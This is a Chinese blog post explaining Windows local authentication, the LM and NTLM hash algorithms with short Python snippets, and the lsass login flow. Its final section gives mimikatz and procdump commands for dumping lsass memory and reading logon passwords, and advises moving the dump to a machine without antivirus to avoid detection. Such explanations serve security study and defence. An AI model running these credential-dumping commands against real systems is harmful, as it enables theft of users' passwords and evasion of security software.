由Windows本地认证到Hash抓取
首发先知社区:https://xz.aliyun.com/t/8127
Windows
本地登陆密码储存在位于%SystemRoot%\system32\config\
目录的SAM
文件中,存储内容为密码的hash
值。当用户输入密码时,Windows
先将用户的输入通过算法加密再与SAM
文件存储的数据对比,一致则认证成功。
Windows
所使用的密码hash
有两种,LM Hash
与NTLM hash
。
0x01 LM Hash
LM
全称LAN Manager
,LM hash
作为Windows
使用较早的认证协议,现已基本淘汰,仅存在于较老的系统中,如Windows XP、Windows 2000、Windows 2003
这一类。
LM hash
算法如下:
- 将密码转换为大写,并转换为
16进制
字符串。 - 密码不足
28位
,用0
在右边补全。 28位
的密码被分成两个14位
部分,每部分分别转换成比特流,并且长度为56
位,长度不足用0
在左边补齐长度。- 两组分别再分
7位
一组末尾加0
,再组合成一段新的字符,再转为16
进制。 - 两组
16进制
数,分别作为DES key
,并为KGS!@#$%
进行加密。 - 将两组
DES
加密后的编码拼接,得到LM HASH
值。
Python3
实现LM hash
算法:
1 | import binascii |
代码参考:https://xz.aliyun.com/t/2445
当密码为123ABC
或123456
时如下:
LM Hash
的缺陷在于:
- 密码不区分大小写。
- 密码长度最大只能为
14个
字符。 - 根据以上的图,可以发现当我们的密码不超过
7位
时,生成的LM hash
后面的一半是固定的为aad3b435b51404ee
,也就是说通过观察LM hash
,够判断用户的密码是否是大于等于7位
。 - 哈希值没有加盐就进行验证,这使其容易受到中间人的攻击,例如哈希传递,还允许构建彩虹表。
0x02 NTLM Hash
NTLM
全称NT LAN Manager
, 目前Windows
基本都使用NTLM hash
。
NTLM hash
算法如下:
- 将用户输入转为
16进制
- 再经
Unicode
编码 - 再调用
MD4
加密算法
Python2
实现NTLM hash
算法:
1 | # coding=utf-8 |
后来在篇文章上发现了更简单的代码表现:
见https://www.anquanke.com/post/id/193149#h3-3
1 | import hashlib,binascii,sys |
例如admin
经NTLM hash
后存储的值便是209c6174da490caeb422f3fa5a7ae634
。
NTLM Hash
在算法上比LM Hash
安全性更高一些。
0x03 本地认证流程
简洁的描述一下大致流程,当然实际上会复杂很多。
用户通过winlogon.exe
输入密码,lsass.exe
进程接收密码明文后,会存在内存之中并将其加密成NTLM hash
,再对SAM
存储数据进行比较认证。
1 | st=>start: winlogon.exe |
0x04 Procdump+Mimikatz读取密码Hash
介绍完windows
本地认证机制,可以发现在 lsass.exe
进程中是会存在有明文密码的,于是可以直接使用mimikatz
读取,但是这样通常会被拦截
1 | mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit |
所以可以利用工具procdump
将lsass.exe
dump
出来,拉到没有杀软的机器里面使用mimikatz
读取密码。
1 | procdump64.exe -accepteula -ma lsass.exe lsass.dump |
1 | mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit |
本文标题:由Windows本地认证到Hash抓取
文章作者:zjun
发布时间:2020-08-17
原始链接:https://blog.zjun.info/2020/from-windows-local-authentication-to-obtaining-hash.html
版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 CN 许可协议。转载请注明出处!
分享